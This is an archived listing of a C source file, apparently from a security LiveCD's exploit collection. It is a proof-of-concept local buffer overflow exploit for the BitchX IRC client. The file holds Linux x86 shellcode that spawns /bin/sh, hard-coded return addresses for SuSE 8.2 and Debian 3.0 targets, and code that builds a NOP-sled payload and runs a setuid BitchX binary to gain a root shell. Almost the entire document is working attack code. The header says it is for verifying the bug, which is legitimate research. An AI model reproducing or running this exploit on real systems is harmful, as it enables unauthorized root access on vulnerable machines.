home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bitchx / bitchx.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-05-09  |  3.1 KB  |  100 lines
  1. /*
  2.  * P.o.C Exploit Code for BitchX
  3.  * made for Version (BitchX-1.0c20cvs) -- Date (20020325)
  4.  *
  5.  * (C) 2004. GroundZero Security Research and Software Development
  6.  *           http://www.groundzero-security.com 
  7.  *
  8.  * released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
  9.  *
  10.  * --[ background
  11.  *
  12.  * BitchX contains an local exploitable Buffer Overflow condition.
  13.  * Sometimes it is installed setUID to allow non-root users SSL
  14.  * access for example and therfore it could be used by a mallicious
  15.  * local user, to obtain root access. This code demonstrates the
  16.  * described vulnerability and can be used to verify the bug on
  17.  * your system(s).
  18.  */
  19.  
  20. #include <stdio.h>
  21.  
  22. struct {
  23.   char *distro;
  24.   char *version;
  25.   char *bx;
  26.   unsigned int return_add;
  27.   unsigned int buff_size;
  28. } T[] = {
  29.             { "SuSE Linux",   "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
  30.             { "Debian Linux", "3.0", "BitchX-1.0c19",    0xbfffff5c, 2090 },
  31.             { "END",          "",    "",                 0,          0    },
  32.         }; 
  33.  
  34. char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  35.                  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  36.                  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  37.  
  38. int usage(char *argv)
  39. {
  40.     int i;
  41.  
  42.     fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
  43.     fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
  44.     fprintf (stdout, "Available Targets:\n");
  45.     for(i=0;T[i].distro!="END";i++)
  46.     fprintf (stdout, "\t\t\t %i: (%s %s) %s\n",i,T[i].distro,T[i].version,T[i].bx);
  47.  
  48.     return(0);
  49. }
  50.      
  51. int main(int argc, char *argv[])
  52. {
  53.     unsigned int i;
  54.     unsigned int t;
  55.  
  56.     char buffer[3000];
  57.     char *a1     = "sh";
  58.     char *a2     = "-c";
  59.     char *env[]  = { "TERM=xterm", 0 };    
  60.     char *args[] = { a1, a2, buffer, 0};  /* arguments list */
  61.  
  62.     fprintf (stdout, "\n\n#############################################################\n");
  63.     fprintf (stdout, "### GroundZero Security Research and Software Development ###\n");
  64.     fprintf (stdout, "### Linux Local P.o.C Exploit for BitchX                  ###\n");
  65.     fprintf (stdout, "#############################################################\n\n");
  66.  
  67.     if(argv[1]==NULL||argv[2]==NULL)
  68.     {
  69.         usage (argv[0]);
  70.         fprintf (stdout, "\n");
  71.         exit (0);
  72.     }
  73.  
  74.     if(strlen(argv[1])>255||strlen(argv[2])>255)
  75.     {
  76.         exit (-1); 
  77.     }
  78.  
  79.     t=atoi(argv[2]); 
  80.  
  81.     fprintf (stdout, "selected: %s %s %s\n",T[t].distro,T[t].version,T[t].bx); 
  82.     fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);
  83.  
  84.     for ( i=0; i<T[t].buff_size; i+=4) *(long *)&buffer[i]=T[t].return_add;  /* put return address in buffer */
  85.     for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) *(buffer+i)=0x90; /* add nop's */
  86.  
  87.     memcpy (buffer+i,shellcode,strlen(shellcode));  /* generate exploit string */
  88.  
  89.     fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to abort.. (ctrl+c)\n",argv[1]);
  90.     sleep(3);
  91.  
  92.     if((execve (argv[1],args,env))==-1)  /* execute binary and smash the stack */
  93.     {
  94.         perror("execve");
  95.         exit (-1);
  96.     }
  97.  
  98.     exit (0);
  99. }
  100.